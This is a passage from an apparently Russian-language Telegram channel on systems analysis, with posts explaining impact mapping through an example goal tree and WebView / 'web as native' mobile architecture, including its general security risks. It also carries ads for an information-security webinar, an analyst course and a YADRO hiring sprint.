скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример
Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек
│
├── Актор: Авторизованный клиент
│   ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания
│   │   ├── Результат: Персонализированная главная с недавно просмотренными товарами
│   │   └── Результат: Сохранение корзины между сессиями с визуальным индикатором
│   └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз
│       └── Результат: Повторный заказ в один клик из истории заказов
│
├── Актор: Покупатель впервые
│   └── Влияние: Создаёт аккаунт после покупки (а не до)
│       └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа)
│
└── Актор: Агент поддержки
    └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию
        └── Результат: Самостоятельный сброс пароля с SMS-подтверждением
Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🌐 Web as Native WebView и Web as Native WebView —  встроенный в мобильное приложение компонент, который отображает веб-страницы (HTML, CSS, JavaScript) внутри приложения Важно: 🔹 это не отдельное приложение (не Chrome/Safari) 🔹он управляется нативным кодом 🔹 пользователь не видит, что это веб Web as Native —  подход, при котором веб-интерфейс используется как мобильное приложение Web —  интерфейс и часть логики 🔸рисует UI 🔸обрабатывает пользовательские сценарии Native —  оболочка (контейнер) 🔸открывает экраны 🔸управляет WebView 🔸даёт доступ к функциям устройства
WebView —  инструмент Web as Native —  архитектурный подход Большинство «Web as native»-реализаций используют WebView как основной инструмент
Как работает WebView 1. приложение создаёт WebView 2. передаёт URL 3. WebView загружает страницу 4. отрисовывает интерфейс 5. пользователь взаимодействует с ним Если нужен доступ к устройству — используется bridge (API между Web и Native внутри приложения) Пример архитектуры Пользователь      ↓ Мобильное приложение      ↓   WebView      ↓ Web Frontend      ↓ Backend API WebView — только “контейнер”,  вся логика чаще всего в вебе Способы открытия WebView ➡️ Прямое открытие экрана Самый простой вариант: пользователь нажал → открылся экран с WebView Минус: видна загрузка (белый экран), что создаёт ощущение “медленного” приложения ➡️ Предзагрузка Приложение: 🔹создаёт WebView заранее 🔹загружает страницу в фоне → пользователь открывает — страница уже готова → улучшает perceived performance (ощущаемую скорость) ➡️ Skeleton / Loader Пока WebView загружается показывается нативный placeholder или skeleton UI → создаёт ощущение скорости, даже если фактическая загрузка не изменилась ➡️ Кэширование 🔹WebView использует кэш 🔹можно хранить статические ресурсы → ускоряет повторное открытие и снижает нагрузку на сеть ➡️ Гибридный экран (частично native) 🔹шапка и кнопки — нативные 🔹контент — WebView → снижает ощущение “веба” и улучшает UX за счёт нативных элементов Где используется WebView 🔸статьи и контент 🔸 личные кабинеты 🔸формы и платежи 🔸 fallback-экраны Пример: маркетплейс Почему WebView ➖ UI часто меняется → веб позволяет обновлять без релиза приложения ➖ маркетинг управляет страницами → не требует участия мобильной команды ➖ важно быстро выкатывать изменения → веб быстрее в доставке Web: 🔹 каталог 🔹 карточка товара → высокая изменяемость, много UI-логики Native: 🔹оплата 🔹push 🔹доступ к устройству → критичные функции, требующие безопасности и интеграций Сценарий: покупка 1. User → Web: нажимает "Купить" 2. Web → Native: startPayment 3. Native → Backend: выполняет запрос 4. Native → Web: возвращает результат Безопасность Риски: 🔸XSS уязвимость    → вредоносный JS может вызвать нативные методы через bridge 🔸загрузка чужих URL    → можно отобразить фишинговую или вредоносную страницу 🔸доступ к cookies    → возможна утечка пользовательских данных ❗️Главная зона риска — взаимодействие между Web и Native, здесь веб получает доступ к возможностям устройства Плюсы и минусы ➕ быстро → можно использовать уже готовый веб и не писать UI с нуля ➕ дёшево → меньше затрат на разработку и поддержку двух платформ ➕ единый код → изменения делаются в одном месте и сразу доступны всем ➖ медленнее → из-за дополнительного слоя (браузерный движок + рендеринг)  ➖ хуже UX → веб-интерфейс уступает нативному по отзывчивости и плавности  ➖ зависимость от сети → без интернета приложение может частично или полностью не работать 📎 Материалы 1. Из браузера — в приложение: внутренняя кухня WebView 2. От Web к Native с React 3. ОМП рассказала о новых возможностях WebView в ОС «Аврора» 4. WebView: забыть нельзя интегрировать #веб 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🎤 Вебинар Актуальные вопросы ИБ в закупках BPM платформ 31 марта разберем что нужно учитывать при автоматизации бизнес-проце
🎤 Вебинар Актуальные вопросы ИБ в закупках BPM платформ 31 марта разберем что нужно учитывать при автоматизации бизнес-процессов с точки зрения РБПО. В последние годы теме РБПО уделяется много внимания, как на законодательном, так и на инженерном уровне. В ответ на новые требования появляются новые методики и инструменты, которые позволят выполнить эти требования на практике. Соответственно, и в тендерной документации выделяют под эти вопросы отдельные разделы. Разберем следующие вопросы: • Нюансы законодательства по 152-ФЗ и 187-ФЗ • Типовые отраслевые объекты КИИ • ГОСТ Р 56939–2024, проблемы сертификации • Приказа ФСТЭК № 117, правомерность ссылок на п.50 • Удорожание проектов при покрытии по ГОСТ Р 56939–2024 • Этапность работ по РБПО 👤 Спикер: Игорь Клопотов, директор продукта OpenBPM 📅 Когда: 31 марта, 16:00 МСК 👉 Регистрация по ссылке #реклама О рекламодателе erid: 2W5zFHdC2kh

Вы тоже сможете вырасти до хардового аналитика уровня Middle+. Как? Добавьте к своим скилам навыки в проектировании архитекту
Вы тоже сможете вырасти до хардового аналитика уровня Middle+. Как? Добавьте к своим скилам навыки в проектировании архитектуры и интеграций веб-сервисов! Три месяца назад мы уже писали про этот курс. Сейчас пишем еще раз, потому что у курса вышло полезное обновление, уже доступное ученикам, независимо от того, когда они его купили. ————— 📚 Первое: в портфолио включили примеры интеграций от крупных BigTech-компаний. Это позволит вам понять, как технологии применяются в реальных бизнес-контекстах. 🌐 Второе: обновили портфолио. Теперь в нём есть задания повышенного уровня сложности для каждой темы. Это небольшие реальные проекты, с помощью которых можно не только проверить, но и улучшить свои навыки! ✔️Третье: вышел новый модуль про проектирование баз данных - нормализация, транзакции, основы DWH, индексы. 💬Четвертое: стал активен чат учеников (общение, обмен опытом, помощь внутри сообщества) ————— • Результат после прохождения курса: 15 рабочих проектов в портфолио-резюме • Доступ к урокам и всем обновлениям останется навсегда • Фундаментальная база • Всю программу и отзывы смотрите в боте курса Когда перейдете в бот курса, то получите бесплатные открытые уроки по архитектуре и интеграциям. Польза 👇 @studyit_help_bot Скидка на курс от канала — 1 500₽ на Stepik по промокоду SYS до конца марта.

🔥 SPRINT OFFER в YADRO для системных аналитиков: Телеком и BIOS/BMC! В YADRO стартовал SPRINT OFFER для системных аналитиков
🔥 SPRINT OFFER в YADRO для системных аналитиков: Телеком и BIOS/BMC! В YADRO стартовал SPRINT OFFER для системных аналитиков. Это возможность пройти все этапы отбора и получить оффер в компанию всего за три дня. Мы в поиске специалистов в два направления: 🚀 Телеком Разработка компонентов мобильных сетей и систем управления сетью. Команда работает с архитектурой базовых станций и телеком-платформами для стандартов GSM/LTE/5G. Технологии: LTE/5G/GSM, 3GPP/RFC/O-RAN/ITU. 💻 BIOS/BMC Разработка и поддержка системного ПО для серверов и модулей серверных платформ. Технологии: BMS, BIOS/UEFI, Embedded, Linux, высокоскоростные интерфейсы, протоколы интеграции Системные аналитики в этих командах работают с формализацией требований к продукту, технической документацией и взаимодействуют с командами архитектуры, разработки и тестирования. Уровень: Специалист / Старший / Ведущий. Формат работы: Удалённая работа или офис в городах присутствия — Москве, Санкт-Петербурге, Нижнем Новгороде, Екатеринбурге, Минске. ⚙️ Как проходит SPRINT OFFER: 1️⃣ Подайте заявку до 29 марта и пройдите HR-скрининг. 2️⃣ Пройдите техническое и менеджерское интервью. 3️⃣ Получите оффер в течение 3 дней. 💙 Подайте заявку до 29 марта и всего за 3 дня начните свой путь в компании, которая задает новые стандарты в технологической среде!